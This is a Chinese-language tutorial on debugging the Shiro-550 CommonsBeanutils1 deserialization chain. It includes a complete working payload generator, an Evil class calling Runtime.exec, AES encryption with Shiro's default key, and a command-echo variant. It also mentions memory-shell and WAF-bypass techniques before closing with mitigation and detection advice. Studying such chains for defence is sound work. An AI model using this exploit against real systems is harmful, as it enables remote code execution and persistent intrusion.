从Shiro550到命令执行:手把手调试CB1链,搞懂Java反序列化漏洞的完整利用过程

从Shiro550到命令执行:手把手调试CB1链,搞懂Java反序列化漏洞的完整利用过程 Java反序列化漏洞深度剖析从CB1链调试到实战利用在Java安全领域反序列化漏洞一直是攻击者最青睐的攻击向量之一。Apache Shiro框架的记住我功能曾因反序列化漏洞导致大规模安全风险其中CB1Commons BeanUtils 1链因其稳定性和通用性成为经典攻击链。本文将带您深入Java反序列化漏洞的本质通过亲手调试CB1链理解从反序列化入口到最终命令执行的完整过程。1. 环境准备与基础知识1.1 实验环境搭建要深入分析CB1链我们需要准备以下环境Java开发环境JDK 8u112与漏洞利用兼容性最佳依赖库Apache Commons BeanUtils 1.8.3Apache Shiro-core 1.2.4调试工具IntelliJ IDEA内置强大的调试功能Burp Suite用于拦截和修改HTTP请求关键配置步骤创建Maven项目并添加依赖dependency groupIdcommons-beanutils/groupId artifactIdcommons-beanutils/artifactId version1.8.3/version /dependency dependency groupIdorg.apache.shiro/groupId artifactIdshiro-core/artifactId version1.2.4/version /dependency配置Shiro的默认密钥用于加密rememberMe cookieBean public DefaultWebSecurityManager securityManager() { DefaultWebSecurityManager securityManager new DefaultWebSecurityManager(); securityManager.setRealm(myRealm()); securityManager.setRememberMeManager(rememberMeManager()); return securityManager; } private RememberMeManager rememberMeManager() { CookieRememberMeManager rememberMeManager new CookieRememberMeManager(); rememberMeManager.setCipherKey(Base64.decode(kPHbIxk5D2deZiIxcaaaA)); return rememberMeManager; }1.2 反序列化漏洞基础概念理解Java反序列化漏洞需要掌握几个核心概念序列化与反序列化Java对象转换为字节流的过程称为序列化反之则为反序列化。这个过程通过实现Serializable接口来完成。Gadget链一系列可被利用的类和方法调用链通常包含Source反序列化入口点如重写readObject方法的类Sink最终执行危险操作的点如命令执行、文件操作连接点中间的方法调用链常见危险操作Runtime.exec()直接执行系统命令Method.invoke()通过反射调用任意方法ClassLoader.defineClass()动态加载恶意类提示在分析反序列化漏洞时重点关注那些重写了readObject方法的类它们往往是攻击链的起点。2. CB1链核心组件分析2.1 PriorityQueue攻击链的起点PriorityQueue是Java集合框架中的一个类它之所以成为CB1链的起点是因为它实现了Serializable接口支持序列化/反序列化重写了readObject方法在反序列化时会执行自定义逻辑是JDK自带类不依赖第三方库关键代码分析private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // 读取默认字段 s.defaultReadObject(); // 读取队列大小 s.readInt(); // 初始化队列数组 queue new Object[size]; // 读取队列元素 for (int i 0; i size; i) queue[i] s.readObject(); // 重建堆结构 heapify(); }在反序列化过程中heapify()方法的调用是关键转折点它将引导执行流进入我们的攻击链。2.2 BeanComparator方法调用的桥梁BeanComparator是Apache Commons BeanUtils库中的比较器实现它的核心作用在于实现了Comparator接口可用于排序操作内部使用PropertyUtils.getProperty()方法动态获取对象属性通过反射机制调用任意getter方法关键代码片段public int compare(Object o1, Object o2) { if (this.property null) { return this.comparator.compare(o1, o2); } else { try { Object value1 PropertyUtils.getProperty(o1, this.property); Object value2 PropertyUtils.getProperty(o2, this.property); return this.comparator.compare(value1, value2); } catch (Exception e) { throw new RuntimeException(e.toString()); } } }攻击者可以通过控制property字段的值诱导程序调用特定对象的getter方法这是整个攻击链能够执行的关键。2.3 TemplatesImpl最终的命令执行点com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类是JDK自带的XSLT处理器实现它之所以成为理想的攻击终点是因为包含_bytecodes字段可以存储任意字节码在getOutputProperties()方法中会动态加载并执行这些字节码是JDK自带类无需额外依赖攻击路径getOutputProperties() → newTransformer() → getTransletInstance() → defineTransletClasses()在defineTransletClasses()方法中关键代码如下for (int i 0; i classCount; i) { _class[i] loader.defineClass(_bytecodes[i], pd); // ...省略后续检查代码... }这个方法会使用自定义的ClassLoader加载并执行_bytecodes中的字节码为攻击者提供了执行任意代码的能力。3. 完整攻击链调试分析3.1 攻击链全貌CB1链的完整调用流程如下表所示序号类名方法名关键条件攻击者控制点1PriorityQueuereadObject无队列元素设置2PriorityQueueheapifysize 2初始化时设置3PriorityQueuesiftDowncomparator ! null构造时传入4PriorityQueuesiftDownUsingComparator同上同上5BeanComparatorcompareproperty ! null反射设置6PropertyUtilsgetProperty对象有对应属性控制对象和属性名7TemplatesImplgetOutputProperties_bytecodes ! null反射设置8TemplatesImpldefineTransletClasses字节码有效注入恶意字节码3.2 分步调试过程让我们通过实际调试来验证整个攻击链设置断点在PriorityQueue.readObject()方法入口处设置断点在BeanComparator.compare()方法处设置断点在TemplatesImpl.getOutputProperties()方法处设置断点触发反序列化ByteArrayInputStream bais new ByteArrayInputStream(serializedPayload); ObjectInputStream ois new ObjectInputStream(bais); ois.readObject(); // 触发反序列化跟踪执行流程阶段1PriorityQueue反序列化读取默认字段和队列大小逐个反序列化队列元素调用heapify()重建堆结构阶段2比较器调用进入siftDownUsingComparator调用BeanComparator.compare()通过反射调用TemplatesImpl.getOutputProperties()阶段3字节码加载执行defineTransletClasses()加载恶意字节码实例化恶意类执行静态代码块或构造函数中的恶意代码关键参数检查确保PriorityQueue的size2验证BeanComparator的property字段已设置为outputProperties检查TemplatesImpl的_bytecodes是否包含有效字节码注意在实际调试中可以使用条件断点来过滤无关的调用例如只在property字段为outputProperties时暂停执行。3.3 漏洞利用条件总结成功利用CB1链需要满足以下条件基本环境目标使用Shiro框架且未更新默认密钥存在commons-beanutils依赖1.8.x版本链构造条件PriorityQueue初始化大小≥2设置有效的BeanComparator正确配置TemplatesImpl的字节码和必要字段防御绕过如果存在RASP防护可能需要混淆字节码针对WAF需要特殊编码payload4. 实战构造完整攻击Payload4.1 恶意类编写首先创建一个简单的恶意类用于验证漏洞public class Evil extends AbstractTranslet { public Evil() throws Exception { super(); Runtime.getRuntime().exec(open /Applications/Calculator.app); } Override public void transform(DOM document, SerializationHandler[] handlers) {} Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {} }编译后获取其字节码ClassPool pool ClassPool.getDefault(); CtClass clazz pool.get(Evil.class.getName()); byte[] evilBytes clazz.toBytecode();4.2 Payload生成器实现完整的Payload生成代码如下public class CB1PayloadGenerator { public static byte[] generatePayload(byte[] evilBytes) throws Exception { // 1. 创建TemplatesImpl对象并设置字段 TemplatesImpl templates new TemplatesImpl(); setField(templates, _bytecodes, new byte[][]{evilBytes}); setField(templates, _name, Pwned); setField(templates, _tfactory, new TransformerFactoryImpl()); // 2. 创建比较器链 BeanComparator comparator new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); // 3. 创建PriorityQueue并设置比较器 PriorityQueueObject queue new PriorityQueue(2, comparator); queue.add(1); queue.add(1); // 4. 通过反射设置关键字段 setField(comparator, property, outputProperties); setField(queue, queue, new Object[]{templates, templates}); // 5. 序列化为字节数组 ByteArrayOutputStream baos new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(baos); oos.writeObject(queue); oos.close(); return baos.toByteArray(); } private static void setField(Object obj, String fieldName, Object value) throws Exception { Field field obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }4.3 Payload加密与测试Shiro的rememberMe cookie使用AES加密因此需要对Payload进行加密public class ShiroExploit { public static void main(String[] args) throws Exception { // 1. 生成恶意字节码 byte[] evilBytes getEvilClassBytes(); // 2. 生成序列化Payload byte[] payload CB1PayloadGenerator.generatePayload(evilBytes); // 3. 使用Shiro默认密钥加密 AesCipherService aes new AesCipherService(); byte[] key Base64.decode(kPHbIxk5D2deZiIxcaaaA); ByteSource ciphertext aes.encrypt(payload, key); // 4. 输出Base64编码的Payload System.out.println(rememberMe ciphertext.toString()); } private static byte[] getEvilClassBytes() throws Exception { // 实现同前获取恶意类字节码 } }将生成的rememberMe值作为Cookie发送到目标服务器如果漏洞存在将触发计算器程序执行。4.4 高级利用技巧在实际渗透测试中可能需要更复杂的技巧内存马注入修改字节码注入Filter/Servlet内存马实现持久化后门绕过限制使用BCEL编码绕过类名限制分块传输规避WAF检测回显优化实现命令执行结果回显处理各种特殊情况如无回显场景// 示例带结果回显的恶意类 public class EchoEvil extends AbstractTranslet { public EchoEvil() throws Exception { String cmd System.getProperty(evil.cmd); Process p Runtime.getRuntime().exec(cmd); InputStream is p.getInputStream(); String result new BufferedReader(new InputStreamReader(is)).lines() .collect(Collectors.joining(\n)); throw new RuntimeException(result); } // ...省略其他必要方法... }5. 防御建议与修复方案5.1 临时缓解措施对于无法立即升级的系统可以考虑以下临时方案修改默认密钥// 在Shiro配置中设置随机密钥 byte[] newKey new byte[16]; new SecureRandom().nextBytes(newKey); rememberMeManager.setCipherKey(newKey);禁用rememberMe功能# 在shiro.ini中配置 securityManager.rememberMeManager null添加反序列化过滤器public class SafeObjectInputStream extends ObjectInputStream { private static final SetString BLACKLIST Set.of( org.apache.commons.beanutils.BeanComparator, com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ); protected SafeObjectInputStream(InputStream in) throws IOException { super(in); } protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (BLACKLIST.contains(desc.getName())) { throw new InvalidClassException(Unauthorized deserialization attempt, desc.getName()); } return super.resolveClass(desc); } }5.2 长期解决方案升级相关组件升级Shiro到最新版本≥1.7.0更新commons-beanutils到最新稳定版安全开发实践避免反序列化不可信数据使用白名单控制反序列化类实施代码审计流程运行时防护部署RASP解决方案使用WAF拦截可疑请求启用Java安全管理器5.3 检测与监控异常检测指标异常的rememberMe Cookie长度频繁的反序列化操作可疑的ClassLoader活动日志监控建议-- 示例检测可疑的Shiro活动 SELECT * FROM web_logs WHERE request_uri LIKE %login% AND request_cookies LIKE %rememberMe% AND LENGTH(request_cookies) 1024;应急响应流程确认漏洞利用迹象隔离受影响系统收集取证数据应用修复方案全面安全扫描